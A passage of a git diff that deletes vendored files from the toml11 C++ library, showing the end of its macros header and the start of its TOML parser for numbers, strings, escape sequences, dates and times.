-#define TOML11_FOR_EACH_VA_ARGS_AUX_32(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_31(FUNCTOR, __VA_ARGS__)
-
-#define TOML11_FOR_EACH_VA_ARGS(FUNCTOR, ...)\
-    TOML11_CONCATENATE(TOML11_FOR_EACH_VA_ARGS_AUX_, TOML11_ARGS_SIZE(__VA_ARGS__))(FUNCTOR, __VA_ARGS__)
-
-// ----------------------------------------------------------------------------
-// TOML11_DEFINE_CONVERSION_NON_INTRUSIVE
-
-// use it in the following way.
-// ```cpp
-// namespace foo
-// {
-// struct Foo
-// {
-//     std::string s;
-//     double      d;
-//     int         i;
-// };
-// } // foo
-//
-// TOML11_DEFINE_CONVERSION_NON_INTRUSIVE(foo::Foo, s, d, i)
-// ```
-// And then you can use `toml::find<foo::Foo>(file, "foo");`
-//
-#define TOML11_FIND_MEMBER_VARIABLE_FROM_VALUE(VAR_NAME)\
-    obj.VAR_NAME = toml::find<decltype(obj.VAR_NAME)>(v, TOML11_STRINGIZE(VAR_NAME));
-
-#define TOML11_ASSIGN_MEMBER_VARIABLE_TO_VALUE(VAR_NAME)\
-    v[TOML11_STRINGIZE(VAR_NAME)] = obj.VAR_NAME;
-
-#define TOML11_DEFINE_CONVERSION_NON_INTRUSIVE(NAME, ...)\
-    namespace toml {                                                                     \
-    template<>                                                                           \
-    struct from<NAME>                                                                    \
-    {                                                                                    \
-        template<typename C, template<typename ...> class T,                             \
-                 template<typename ...> class A>                                         \
-        static NAME from_toml(const basic_value<C, T, A>& v)                             \
-        {                                                                                \
-            NAME obj;                                                                    \
-            TOML11_FOR_EACH_VA_ARGS(TOML11_FIND_MEMBER_VARIABLE_FROM_VALUE, __VA_ARGS__) \
-            return obj;                                                                  \
-        }                                                                                \
-    };                                                                                   \
-    template<>                                                                           \
-    struct into<NAME>                                                                    \
-    {                                                                                    \
-        static value into_toml(const NAME& obj)                                          \
-        {                                                                                \
-            ::toml::value v = ::toml::table{};                                           \
-            TOML11_FOR_EACH_VA_ARGS(TOML11_ASSIGN_MEMBER_VARIABLE_TO_VALUE, __VA_ARGS__) \
-            return v;                                                                    \
-        }                                                                                \
-    };                                                                                   \
-    } /* toml */
-
-#endif// TOML11_WITHOUT_DEFINE_NON_INTRUSIVE
-
-#endif// TOML11_MACROS_HPP
diff --git a/src/toml11/toml/parser.hpp b/src/toml11/toml/parser.hpp
deleted file mode 100644
index e3117991811..00000000000
--- a/src/toml11/toml/parser.hpp
+++ /dev/null
@@ -1,2364 +0,0 @@
-//     Copyright Toru Niina 2017.
-// Distributed under the MIT License.
-#ifndef TOML11_PARSER_HPP
-#define TOML11_PARSER_HPP
-#include <cstring>
-#include <fstream>
-#include <sstream>
-
-#include "combinator.hpp"
-#include "lexer.hpp"
-#include "region.hpp"
-#include "result.hpp"
-#include "types.hpp"
-#include "value.hpp"
-
-#ifndef TOML11_DISABLE_STD_FILESYSTEM
-#ifdef __cpp_lib_filesystem
-#if __has_include(<filesystem>)
-#define TOML11_HAS_STD_FILESYSTEM
-#include <filesystem>
-#endif // has_include(<string_view>)
-#endif // __cpp_lib_filesystem
-#endif // TOML11_DISABLE_STD_FILESYSTEM
-
-namespace toml
-{
-namespace detail
-{
-
-inline result<std::pair<boolean, region>, std::string>
-parse_boolean(location& loc)
-{
-    const auto first = loc.iter();
-    if(const auto token = lex_boolean::invoke(loc))
-    {
-        const auto reg = token.unwrap();
-        if     (reg.str() == "true")  {return ok(std::make_pair(true,  reg));}
-        else if(reg.str() == "false") {return ok(std::make_pair(false, reg));}
-        else // internal error.
-        {
-            throw internal_error(format_underline(
-                "toml::parse_boolean: internal error",
-                {{source_location(reg), "invalid token"}}),
-                source_location(reg));
-        }
-    }
-    loc.reset(first); //rollback
-    return err(format_underline("toml::parse_boolean: ",
-               {{source_location(loc), "the next token is not a boolean"}}));
-}
-
-inline result<std::pair<integer, region>, std::string>
-parse_binary_integer(location& loc)
-{
-    const auto first = loc.iter();
-    if(const auto token = lex_bin_int::invoke(loc))
-    {
-        auto str = token.unwrap().str();
-        assert(str.size() > 2); // minimum -> 0b1
-        integer retval(0), base(1);
-        for(auto i(str.rbegin()), e(str.rend() - 2); i!=e; ++i)
-        {
-            if     (*i == '1'){retval += base; base *= 2;}
-            else if(*i == '0'){base *= 2;}
-            else if(*i == '_'){/* do nothing. */}
-            else // internal error.
-            {
-                throw internal_error(format_underline(
-                    "toml::parse_integer: internal error",
-                    {{source_location(token.unwrap()), "invalid token"}}),
-                    source_location(loc));
-            }
-        }
-        return ok(std::make_pair(retval, token.unwrap()));
-    }
-    loc.reset(first);
-    return err(format_underline("toml::parse_binary_integer:",
-               {{source_location(loc), "the next token is not an integer"}}));
-}
-
-inline result<std::pair<integer, region>, std::string>
-parse_octal_integer(location& loc)
-{
-    const auto first = loc.iter();
-    if(const auto token = lex_oct_int::invoke(loc))
-    {
-        auto str = token.unwrap().str();
-        str.erase(std::remove(str.begin(), str.end(), '_'), str.end());
-        str.erase(str.begin()); str.erase(str.begin()); // remove `0o` prefix
-
-        std::istringstream iss(str);
-        integer retval(0);
-        iss >> std::oct >> retval;
-        return ok(std::make_pair(retval, token.unwrap()));
-    }
-    loc.reset(first);
-    return err(format_underline("toml::parse_octal_integer:",
-               {{source_location(loc), "the next token is not an integer"}}));
-}
-
-inline result<std::pair<integer, region>, std::string>
-parse_hexadecimal_integer(location& loc)
-{
-    const auto first = loc.iter();
-    if(const auto token = lex_hex_int::invoke(loc))
-    {
-        auto str = token.unwrap().str();
-        str.erase(std::remove(str.begin(), str.end(), '_'), str.end());
-        str.erase(str.begin()); str.erase(str.begin()); // remove `0x` prefix
-
-        std::istringstream iss(str);
-        integer retval(0);
-        iss >> std::hex >> retval;
-        return ok(std::make_pair(retval, token.unwrap()));
-    }
-    loc.reset(first);
-    return err(format_underline("toml::parse_hexadecimal_integer",
-               {{source_location(loc), "the next token is not an integer"}}));
-}
-
-inline result<std::pair<integer, region>, std::string>
-parse_integer(location& loc)
-{
-    const auto first = loc.iter();
-    if(first != loc.end() && *first == '0')
-    {
-        const auto second = std::next(first);
-        if(second == loc.end()) // the token is just zero.
-        {
-            loc.advance();
-            return ok(std::make_pair(0, region(loc, first, second)));
-        }
-
-        if(*second == 'b') {return parse_binary_integer     (loc);} // 0b1100
-        if(*second == 'o') {return parse_octal_integer      (loc);} // 0o775
-        if(*second == 'x') {return parse_hexadecimal_integer(loc);} // 0xC0FFEE
-
-        if(std::isdigit(*second))
-        {
-            return err(format_underline("toml::parse_integer: "
-                "leading zero in an Integer is not allowed.",
-                {{source_location(loc), "leading zero"}}));
-        }
-        else if(std::isalpha(*second))
-        {
-             return err(format_underline("toml::parse_integer: "
-                "unknown integer prefix appeared.",
-                {{source_location(loc), "none of 0x, 0o, 0b"}}));
-        }
-    }
-
-    if(const auto token = lex_dec_int::invoke(loc))
-    {
-        auto str = token.unwrap().str();
-        str.erase(std::remove(str.begin(), str.end(), '_'), str.end());
-
-        std::istringstream iss(str);
-        integer retval(0);
-        iss >> retval;
-        return ok(std::make_pair(retval, token.unwrap()));
-    }
-    loc.reset(first);
-    return err(format_underline("toml::parse_integer: ",
-               {{source_location(loc), "the next token is not an integer"}}));
-}
-
-inline result<std::pair<floating, region>, std::string>
-parse_floating(location& loc)
-{
-    const auto first = loc.iter();
-    if(const auto token = lex_float::invoke(loc))
-    {
-        auto str = token.unwrap().str();
-        if(str == "inf" || str == "+inf")
-        {
-            if(std::numeric_limits<floating>::has_infinity)
-            {
-                return ok(std::make_pair(
-                    std::numeric_limits<floating>::infinity(), token.unwrap()));
-            }
-            else
-            {
-                throw std::domain_error("toml::parse_floating: inf value found"
-                    " but the current environment does not support inf. Please"
-                    " make sure that the floating-point implementation conforms"
-                    " IEEE 754/ISO 60559 international standard.");
-            }
-        }
-        else if(str == "-inf")
-        {
-            if(std::numeric_limits<floating>::has_infinity)
-            {
-                return ok(std::make_pair(
-                    -std::numeric_limits<floating>::infinity(), token.unwrap()));
-            }
-            else
-            {
-                throw std::domain_error("toml::parse_floating: inf value found"
-                    " but the current environment does not support inf. Please"
-                    " make sure that the floating-point implementation conforms"
-                    " IEEE 754/ISO 60559 international standard.");
-            }
-        }
-        else if(str == "nan" || str == "+nan")
-        {
-            if(std::numeric_limits<floating>::has_quiet_NaN)
-            {
-                return ok(std::make_pair(
-                    std::numeric_limits<floating>::quiet_NaN(), token.unwrap()));
-            }
-            else if(std::numeric_limits<floating>::has_signaling_NaN)
-            {
-                return ok(std::make_pair(
-                    std::numeric_limits<floating>::signaling_NaN(), token.unwrap()));
-            }
-            else
-            {
-                throw std::domain_error("toml::parse_floating: NaN value found"
-                    " but the current environment does not support NaN. Please"
-                    " make sure that the floating-point implementation conforms"
-                    " IEEE 754/ISO 60559 international standard.");
-            }
-        }
-        else if(str == "-nan")
-        {
-            if(std::numeric_limits<floating>::has_quiet_NaN)
-            {
-                return ok(std::make_pair(
-                    -std::numeric_limits<floating>::quiet_NaN(), token.unwrap()));
-            }
-            else if(std::numeric_limits<floating>::has_signaling_NaN)
-            {
-                return ok(std::make_pair(
-                    -std::numeric_limits<floating>::signaling_NaN(), token.unwrap()));
-            }
-            else
-            {
-                throw std::domain_error("toml::parse_floating: NaN value found"
-                    " but the current environment does not support NaN. Please"
-                    " make sure that the floating-point implementation conforms"
-                    " IEEE 754/ISO 60559 international standard.");
-            }
-        }
-        str.erase(std::remove(str.begin(), str.end(), '_'), str.end());
-        std::istringstream iss(str);
-        floating v(0.0);
-        iss >> v;
-        return ok(std::make_pair(v, token.unwrap()));
-    }
-    loc.reset(first);
-    return err(format_underline("toml::parse_floating: ",
-               {{source_location(loc), "the next token is not a float"}}));
-}
-
-inline std::string read_utf8_codepoint(const region& reg, const location& loc)
-{
-    const auto str = reg.str().substr(1);
-    std::uint_least32_t codepoint;
-    std::istringstream iss(str);
-    iss >> std::hex >> codepoint;
-
-    const auto to_char = [](const std::uint_least32_t i) noexcept -> char {
-        const auto uc = static_cast<unsigned char>(i);
-        return *reinterpret_cast<const char*>(std::addressof(uc));
-    };
-
-    std::string character;
-    if(codepoint < 0x80) // U+0000 ... U+0079 ; just an ASCII.
-    {
-        character += static_cast<char>(codepoint);
-    }
-    else if(codepoint < 0x800) //U+0080 ... U+07FF
-    {
-        // 110yyyyx 10xxxxxx; 0x3f == 0b0011'1111
-        character += to_char(0xC0| codepoint >> 6);
-        character += to_char(0x80|(codepoint & 0x3F));
-    }
-    else if(codepoint < 0x10000) // U+0800...U+FFFF
-    {
-        if(0xD800 <= codepoint && codepoint <= 0xDFFF)
-        {
-            throw syntax_error(format_underline(
-                "toml::read_utf8_codepoint: codepoints in the range "
-                "[0xD800, 0xDFFF] are not valid UTF-8.", {{
-                    source_location(loc), "not a valid UTF-8 codepoint"
-                }}), source_location(loc));
-        }
-        assert(codepoint < 0xD800 || 0xDFFF < codepoint);
-        // 1110yyyy 10yxxxxx 10xxxxxx
-        character += to_char(0xE0| codepoint >> 12);
-        character += to_char(0x80|(codepoint >> 6 & 0x3F));
-        character += to_char(0x80|(codepoint      & 0x3F));
-    }
-    else if(codepoint < 0x110000) // U+010000 ... U+10FFFF
-    {
-        // 11110yyy 10yyxxxx 10xxxxxx 10xxxxxx
-        character += to_char(0xF0| codepoint >> 18);
-        character += to_char(0x80|(codepoint >> 12 & 0x3F));
-        character += to_char(0x80|(codepoint >> 6  & 0x3F));
-        character += to_char(0x80|(codepoint       & 0x3F));
-    }
-    else // out of UTF-8 region
-    {
-        throw syntax_error(format_underline("toml::read_utf8_codepoint:"
-            " input codepoint is too large.",
-            {{source_location(loc), "should be in [0x00..0x10FFFF]"}}),
-            source_location(loc));
-    }
-    return character;
-}
-
-inline result<std::string, std::string> parse_escape_sequence(location& loc)
-{
-    const auto first = loc.iter();
-    if(first == loc.end() || *first != '\\')
-    {
-        return err(format_underline("toml::parse_escape_sequence: ", {{
-            source_location(loc), "the next token is not a backslash \"\\\""}}));
-    }
-    loc.advance();
-    switch(*loc.iter())
-    {
-        case '\\':{loc.advance(); return ok(std::string("\\"));}
-        case '"' :{loc.advance(); return ok(std::string("\""));}
-        case 'b' :{loc.advance(); return ok(std::string("\b"));}
-        case 't' :{loc.advance(); return ok(std::string("\t"));}
-        case 'n' :{loc.advance(); return ok(std::string("\n"));}
-        case 'f' :{loc.advance(); return ok(std::string("\f"));}
-        case 'r' :{loc.advance(); return ok(std::string("\r"));}
-        case 'u' :
-        {
-            if(const auto token = lex_escape_unicode_short::invoke(loc))
-            {
-                return ok(read_utf8_codepoint(token.unwrap(), loc));
-            }
-            else
-            {
-                return err(format_underline("parse_escape_sequence: "
-                           "invalid token found in UTF-8 codepoint uXXXX.",
-                           {{source_location(loc), "here"}}));
-            }
-        }
-        case 'U':
-        {
-            if(const auto token = lex_escape_unicode_long::invoke(loc))
-            {
-                return ok(read_utf8_codepoint(token.unwrap(), loc));
-            }
-            else
-            {
-                return err(format_underline("parse_escape_sequence: "
-                           "invalid token found in UTF-8 codepoint Uxxxxxxxx",
-                           {{source_location(loc), "here"}}));
-            }
-        }
-    }
-
-    const auto msg = format_underline("parse_escape_sequence: "
-           "unknown escape sequence appeared.", {{source_location(loc),
-           "escape sequence is one of \\, \", b, t, n, f, r, uxxxx, Uxxxxxxxx"}},
-           /* Hints = */{"if you want to write backslash as just one backslash, "
-           "use literal string like: regex    = '<\\i\\c*\\s*>'"});
-    loc.reset(first);
-    return err(msg);
-}
-
-inline std::ptrdiff_t check_utf8_validity(const std::string& reg)
-{
-    location loc("tmp", reg);
-    const auto u8 = repeat<lex_utf8_code, unlimited>::invoke(loc);
-    if(!u8 || loc.iter() != loc.end())
-    {
-        const auto error_location = std::distance(loc.begin(), loc.iter());
-        assert(0 <= error_location);
-        return error_location;
-    }
-    return -1;
-}
-
-inline result<std::pair<toml::string, region>, std::string>
-parse_ml_basic_string(location& loc)
-{
-    const auto first = loc.iter();
-    if(const auto token = lex_ml_basic_string::invoke(loc))
-    {
-        auto inner_loc = loc;
-        inner_loc.reset(first);
-
-        std::string retval;
-        retval.reserve(token.unwrap().size());
-
-        auto delim = lex_ml_basic_string_open::invoke(inner_loc);
-        if(!delim)
-        {
-            throw internal_error(format_underline(
-                "parse_ml_basic_string: invalid token",
-                {{source_location(inner_loc), "should be \"\"\""}}),
-                source_location(inner_loc));
-        }
-        // immediate newline is ignored (if exists)
-        /* discard return value */ lex_newline::invoke(inner_loc);
-
-        delim = none();
-        while(!delim)
-        {
-            using lex_unescaped_seq = repeat<
-                either<lex_ml_basic_unescaped, lex_newline>, unlimited>;
-            if(auto unescaped = lex_unescaped_seq::invoke(inner_loc))
-            {
-                retval += unescaped.unwrap().str();
-            }
-            if(auto escaped = parse_escape_sequence(inner_loc))
-            {
-                retval += escaped.unwrap();
-            }
-            if(auto esc_nl = lex_ml_basic_escaped_newline::invoke(inner_loc))
-            {
-                // ignore newline after escape until next non-ws char
-            }
-            if(inner_loc.iter() == inner_loc.end())
-            {
-                throw internal_error(format_underline(
-                    "parse_ml_basic_string: unexpected end of region",
-                    {{source_location(inner_loc), "not sufficient token"}}),
-                    source_location(inner_loc));
-            }
-            delim = lex_ml_basic_string_close::invoke(inner_loc);
-        }
-        // `lex_ml_basic_string_close` allows 3 to 5 `"`s to allow 1 or 2 `"`s
-        // at just before the delimiter. Here, we need to attach `"`s at the
-        // end of the string body, if it exists.
-        // For detail, see the definition of `lex_ml_basic_string_close`.
-        assert(std::all_of(delim.unwrap().first(), delim.unwrap().last(),
-                           [](const char c) noexcept {return c == '\"';}));
-        switch(delim.unwrap().size())
-        {
-            case 3: {break;}
-            case 4: {retval += "\"";  break;}
-            case 5: {retval += "\"\""; break;}
-            default:
-            {
-                throw internal_error(format_underline(
-                    "parse_ml_basic_string: closing delimiter has invalid length",
-                    {{source_location(inner_loc), "end of this"}}),
-                    source_location(inner_loc));
-            }
-        }
-
-        const auto err_loc = check_utf8_validity(token.unwrap().str());
-        if(err_loc == -1)
-        {
-            return ok(std::make_pair(toml::string(retval), token.unwrap()));
-        }
-        else
-        {
-            inner_loc.reset(first);
-            inner_loc.advance(err_loc);
-            throw syntax_error(format_underline(
-                "parse_ml_basic_string: invalid utf8 sequence found",
-                {{source_location(inner_loc), "here"}}),
-                source_location(inner_loc));
-        }
-    }
-    else
-    {
-        loc.reset(first);
-        return err(format_underline("toml::parse_ml_basic_string: "
-                   "the next token is not a valid multiline string",
-                   {{source_location(loc), "here"}}));
-    }
-}
-
-inline result<std::pair<toml::string, region>, std::string>
-parse_basic_string(location& loc)
-{
-    const auto first = loc.iter();
-    if(const auto token = lex_basic_string::invoke(loc))
-    {
-        auto inner_loc = loc;
-        inner_loc.reset(first);
-
-        auto quot = lex_quotation_mark::invoke(inner_loc);
-        if(!quot)
-        {
-            throw internal_error(format_underline("parse_basic_string: "
-                "invalid token", {{source_location(inner_loc), "should be \""}}),
-                source_location(inner_loc));
-        }
-
-        std::string retval;
-        retval.reserve(token.unwrap().size());
-
-        quot = none();
-        while(!quot)
-        {
-            using lex_unescaped_seq = repeat<lex_basic_unescaped, unlimited>;
-            if(auto unescaped = lex_unescaped_seq::invoke(inner_loc))
-            {
-                retval += unescaped.unwrap().str();
-            }
-            if(auto escaped = parse_escape_sequence(inner_loc))
-            {
-                retval += escaped.unwrap();
-            }
-            if(inner_loc.iter() == inner_loc.end())
-            {
-                throw internal_error(format_underline(
-                    "parse_basic_string: unexpected end of region",
-                    {{source_location(inner_loc), "not sufficient token"}}),
-                    source_location(inner_loc));
-            }
-            quot = lex_quotation_mark::invoke(inner_loc);
-        }
-
-        const auto err_loc = check_utf8_validity(token.unwrap().str());
-        if(err_loc == -1)
-        {
-            return ok(std::make_pair(toml::string(retval), token.unwrap()));
-        }
-        else
-        {
-            inner_loc.reset(first);
-            inner_loc.advance(err_loc);
-            throw syntax_error(format_underline(
-                "parse_ml_basic_string: invalid utf8 sequence found",
-                {{source_location(inner_loc), "here"}}),
-                source_location(inner_loc));
-        }
-    }
-    else
-    {
-        loc.reset(first); // rollback
-        return err(format_underline("toml::parse_basic_string: "
-                   "the next token is not a valid string",
-                   {{source_location(loc), "here"}}));
-    }
-}
-
-inline result<std::pair<toml::string, region>, std::string>
-parse_ml_literal_string(location& loc)
-{
-    const auto first = loc.iter();
-    if(const auto token = lex_ml_literal_string::invoke(loc))
-    {
-        location inner_loc(loc.name(), token.unwrap().str());
-
-        const auto open = lex_ml_literal_string_open::invoke(inner_loc);
-        if(!open)
-        {
-            throw internal_error(format_underline(
-                "parse_ml_literal_string: invalid token",
-                {{source_location(inner_loc), "should be '''"}}),
-                source_location(inner_loc));
-        }
-        // immediate newline is ignored (if exists)
-        /* discard return value */ lex_newline::invoke(inner_loc);
-
-        const auto body = lex_ml_literal_body::invoke(inner_loc);
-
-        const auto close = lex_ml_literal_string_close::invoke(inner_loc);
-        if(!close)
-        {
-            throw internal_error(format_underline(
-                "parse_ml_literal_string: invalid token",
-                {{source_location(inner_loc), "should be '''"}}),
-                source_location(inner_loc));
-        }
-        // `lex_ml_literal_string_close` allows 3 to 5 `'`s to allow 1 or 2 `'`s
-        // at just before the delimiter. Here, we need to attach `'`s at the
-        // end of the string body, if it exists.
-        // For detail, see the definition of `lex_ml_basic_string_close`.
-
-        std::string retval = body.unwrap().str();
-        assert(std::all_of(close.unwrap().first(), close.unwrap().last(),
-                           [](const char c) noexcept {return c == '\'';}));
-        switch(close.unwrap().size())
-        {
-            case 3: {break;}
-            case 4: {retval += "'";  break;}
-            case 5: {retval += "''"; break;}
-            default:
-            {
-                throw internal_error(format_underline(
-                    "parse_ml_literal_string: closing delimiter has invalid length",
-                    {{source_location(inner_loc), "end of this"}}),
-                    source_location(inner_loc));
-            }
-        }
-
-        const auto err_loc = check_utf8_validity(token.unwrap().str());
-        if(err_loc == -1)
-        {
-            return ok(std::make_pair(toml::string(retval, toml::string_t::literal),
-                                     token.unwrap()));
-        }
-        else
-        {
-            inner_loc.reset(first);
-            inner_loc.advance(err_loc);
-            throw syntax_error(format_underline(
-                "parse_ml_basic_string: invalid utf8 sequence found",
-                {{source_location(inner_loc), "here"}}),
-                source_location(inner_loc));
-        }
-    }
-    else
-    {
-        loc.reset(first); // rollback
-        return err(format_underline("toml::parse_ml_literal_string: "
-                   "the next token is not a valid multiline literal string",
-                   {{source_location(loc), "here"}}));
-    }
-}
-
-inline result<std::pair<toml::string, region>, std::string>
-parse_literal_string(location& loc)
-{
-    const auto first = loc.iter();
-    if(const auto token = lex_literal_string::invoke(loc))
-    {
-        location inner_loc(loc.name(), token.unwrap().str());
-
-        const auto open = lex_apostrophe::invoke(inner_loc);
-        if(!open)
-        {
-            throw internal_error(format_underline(
-                "parse_literal_string: invalid token",
-                {{source_location(inner_loc), "should be '"}}),
-                source_location(inner_loc));
-        }
-
-        const auto body = repeat<lex_literal_char, unlimited>::invoke(inner_loc);
-
-        const auto close = lex_apostrophe::invoke(inner_loc);
-        if(!close)
-        {
-            throw internal_error(format_underline(
-                "parse_literal_string: invalid token",
-                {{source_location(inner_loc), "should be '"}}),
-                source_location(inner_loc));
-        }
-
-        const auto err_loc = check_utf8_validity(token.unwrap().str());
-        if(err_loc == -1)
-        {
-            return ok(std::make_pair(
-                      toml::string(body.unwrap().str(), toml::string_t::literal),
-                      token.unwrap()));
-        }
-        else
-        {
-            inner_loc.reset(first);
-            inner_loc.advance(err_loc);
-            throw syntax_error(format_underline(
-                "parse_ml_basic_string: invalid utf8 sequence found",
-                {{source_location(inner_loc), "here"}}),
-                source_location(inner_loc));
-        }
-    }
-    else
-    {
-        loc.reset(first); // rollback
-        return err(format_underline("toml::parse_literal_string: "
-                   "the next token is not a valid literal string",
-                   {{source_location(loc), "here"}}));
-    }
-}
-
-inline result<std::pair<toml::string, region>, std::string>
-parse_string(location& loc)
-{
-    if(loc.iter() != loc.end() && *(loc.iter()) == '"')
-    {
-        if(loc.iter() + 1 != loc.end() && *(loc.iter() + 1) == '"' &&
-           loc.iter() + 2 != loc.end() && *(loc.iter() + 2) == '"')
-        {
-            return parse_ml_basic_string(loc);
-        }
-        else
-        {
-            return parse_basic_string(loc);
-        }
-    }
-    else if(loc.iter() != loc.end() && *(loc.iter()) == '\'')
-    {
-        if(loc.iter() + 1 != loc.end() && *(loc.iter() + 1) == '\'' &&
-           loc.iter() + 2 != loc.end() && *(loc.iter() + 2) == '\'')
-        {
-            return parse_ml_literal_string(loc);
-        }
-        else
-        {
-            return parse_literal_string(loc);
-        }
-    }
-    return err(format_underline("toml::parse_string: ",
-                {{source_location(loc), "the next token is not a string"}}));
-}
-
-inline result<std::pair<local_date, region>, std::string>
-parse_local_date(location& loc)
-{
-    const auto first = loc.iter();
-    if(const auto token = lex_local_date::invoke(loc))
-    {
-        location inner_loc(loc.name(), token.unwrap().str());
-
-        const auto y = lex_date_fullyear::invoke(inner_loc);
-        if(!y || inner_loc.iter() == inner_loc.end() || *inner_loc.iter() != '-')
-        {
-            throw internal_error(format_underline(
-                "toml::parse_inner_local_date: invalid year format",
-                {{source_location(inner_loc), "should be `-`"}}),
-                source_location(inner_loc));
-        }
-        inner_loc.advance();
-        const auto m = lex_date_month::invoke(inner_loc);
-        if(!m || inner_loc.iter() == inner_loc.end() || *inner_loc.iter() != '-')
-        {
-            throw internal_error(format_underline(
-                "toml::parse_local_date: invalid month format",
-                {{source_location(inner_loc), "should be `-`"}}),
-                source_location(inner_loc));
-        }
-        inner_loc.advance();
-        const auto d = lex_date_mday::invoke(inner_loc);
-        if(!d)
-        {
-            throw internal_error(format_underline(
-                "toml::parse_local_date: invalid day format",
-                {{source_location(inner_loc), "here"}}),
-                source_location(inner_loc));
-        }
-
-        const auto year  = static_cast<std::int16_t>(from_string<int>(y.unwrap().str(), 0));
-        const auto month = static_cast<std::int8_t >(from_string<int>(m.unwrap().str(), 0));
-        const auto day   = static_cast<std::int8_t >(from_string<int>(d.unwrap().str(), 0));
-
-        // We briefly check whether the input date is valid or not. But here, we
-        // only check if the RFC3339 compliance.
-        //     Actually there are several special date that does not exist,
-        // because of historical reasons, such as 1582/10/5-1582/10/14 (only in
-        // several countries). But here, we do not care about such a complicated
-        // rule. It makes the code complicated and there is only low probability
-        // that such a specific date is needed in practice. If someone need to
-        // validate date accurately, that means that the one need a specialized
-        // library for their purpose in a different layer.
-        {
-            const bool is_leap = (year % 4 == 0) && ((year % 100 != 0) || (year % 400 == 0));
-            const auto max_day = (month == 2) ? (is_leap ? 29 : 28) :
-                ((month == 4 || month == 6 || month == 9 || month == 11) ? 30 : 31);
-
-            if((month < 1 || 12 < month) || (day < 1 || max_day < day))
-            {
-                throw syntax_error(format_underline("toml::parse_date: "
-                    "invalid date: it does not conform RFC3339.", {{
-                    source_location(loc), "month should be 01-12, day should be"
-                    " 01-28,29,30,31, depending on month/year."
-                    }}), source_location(inner_loc));
-            }
-        }
-        return ok(std::make_pair(local_date(year, static_cast<month_t>(month - 1), day),
-                                 token.unwrap()));
-    }
-    else
-    {
-        loc.reset(first);
-        return err(format_underline("toml::parse_local_date: ",
-            {{source_location(loc), "the next token is not a local_date"}}));
-    }
-}
-
-inline result<std::pair<local_time, region>, std::string>
-parse_local_time(location& loc)
-{
-    const auto first = loc.iter();
-    if(const auto token = lex_local_time::invoke(loc))
-    {
-        location inner_loc(loc.name(), token.unwrap().str());
-
-        const auto h = lex_time_hour::invoke(inner_loc);
-        if(!h || inner_loc.iter() == inner_loc.end() || *inner_loc.iter() != ':')
-        {
-            throw internal_error(format_underline(
-                "toml::parse_local_time: invalid year format",
-                {{source_location(inner_loc), "should be `:`"}}),
-                source_location(inner_loc));
-        }
-        inner_loc.advance();
-        const auto m = lex_time_minute::invoke(inner_loc);
-        if(!m || inner_loc.iter() == inner_loc.end() || *inner_loc.iter() != ':')
-        {
-            throw internal_error(format_underline(
-                "toml::parse_local_time: invalid month format",
-                {{source_location(inner_loc), "should be `:`"}}),
-                source_location(inner_loc));
-        }
-        inner_loc.advance();
-        const auto s = lex_time_second::invoke(inner_loc);
-        if(!s)
-        {
-            throw internal_error(format_underline(
-                "toml::parse_local_time: invalid second format",
-                {{source_location(inner_loc), "here"}}),
-                source_location(inner_loc));
-        }
-
-        const int hour   = from_string<int>(h.unwrap().str(), 0);
-        const int minute = from_string<int>(m.unwrap().str(), 0);
-        const int second = from_string<int>(s.unwrap().str(), 0);
-
-        if((hour   < 0 || 23 < hour) || (minute < 0 || 59 < minute) ||
-           (second < 0 || 60 < second)) // it may be leap second
-        {
-            throw syntax_error(format_underline("toml::parse_time: "
-                "invalid time: it does not conform RFC3339.", {{
-                source_location(loc), "hour should be 00-23, minute should be"
-                " 00-59, second should be 00-60 (depending on the leap"
-                " second rules.)"}}), source_location(inner_loc));
-        }
-
-        local_time time(hour, minute, second, 0, 0);
-
-        const auto before_secfrac = inner_loc.iter();
-        if(const auto secfrac = lex_time_secfrac::invoke(inner_loc))
-        {
-            auto sf = secfrac.unwrap().str();
-            sf.erase(sf.begin()); // sf.front() == '.'
-            switch(sf.size() % 3)
-            {
-                case 2:  sf += '0';  break;
-                case 1:  sf += "00"; break;
-                case 0:  break;
-                default: break;
-            }
-            if(sf.size() >= 9)
-            {
-                time.millisecond = from_string<std::uint16_t>(sf.substr(0, 3), 0u);
-                time.microsecond = from_string<std::uint16_t>(sf.substr(3, 3), 0u);
-                time.nanosecond  = from_string<std::uint16_t>(sf.substr(6, 3), 0u);
-            }
-            else if(sf.size() >= 6)
-            {
-                time.millisecond = from_string<std::uint16_t>(sf.substr(0, 3), 0u);
-                time.microsecond = from_string<std::uint16_t>(sf.substr(3, 3), 0u);
-            }
-            else if(sf.size() >= 3)
-            {
-                time.millisecond = from_string<std::uint16_t>(sf, 0u);
-                time.microsecond = 0u;
-            }
-        }
-        else
-        {
-            if(before_secfrac != inner_loc.iter())
-            {
-                throw internal_error(format_underline(
-                    "toml::parse_local_time: invalid subsecond format",
-                    {{source_location(inner_loc), "here"}}),
-                source_location(inner_loc));
-            }
-        }
-        return ok(std::make_pair(time, token.unwrap()));
-    }
-    else
-    {
-        loc.reset(first);
-        return err(format_underline("toml::parse_local_time: ",
-            {{source_location(loc), "the next token is not a local_time"}}));
-    }
-}
-
-inline result<std::pair<local_datetime, region>, std::string>
-parse_local_datetime(location& loc)
-{
-    const auto first = loc.iter();
-    if(const auto token = lex_local_date_time::invoke(loc))
-    {
-        location inner_loc(loc.name(), token.unwrap().str());
-        const auto date = parse_local_date(inner_loc);
-        if(!date || inner_loc.iter() == inner_loc.end())
-        {
-            throw internal_error(format_underline(
-                "toml::parse_local_datetime: invalid datetime format",
-                {{source_location(inner_loc), "date, not datetime"}}),
-                source_location(inner_loc));
-        }
-        const char delim = *(inner_loc.iter());
-        if(delim != 'T' && delim != 't' && delim != ' ')
-        {
-            throw internal_error(format_underline(
-                "toml::parse_local_datetime: invalid datetime format",
-                {{source_location(inner_loc), "should be `T` or ` ` (space)"}}),
-                source_location(inner_loc));
-        }
-        inner_loc.advance();
-        const auto time = parse_local_time(inner_loc);
-        if(!time)
-        {
-            throw internal_error(format_underline(
-                "toml::parse_local_datetime: invalid datetime format",
-                {{source_location(inner_loc), "invalid time format"}}),
-                source_location(inner_loc));
-        }
-        return ok(std::make_pair(
-            local_datetime(date.unwrap().first, time.unwrap().first),
-            token.unwrap()));
-    }
-    else
-    {
-        loc.reset(first);
-        return err(format_underline("toml::parse_local_datetime: ",
-            {{source_location(loc), "the next token is not a local_datetime"}}));
-    }
-}
-
-inline result<std::pair<offset_datetime, region>, std::string>
-parse_offset_datetime(location& loc)
-{
-    const auto first = loc.iter();
-    if(const auto token = lex_offset_date_time::invoke(loc))
-    {
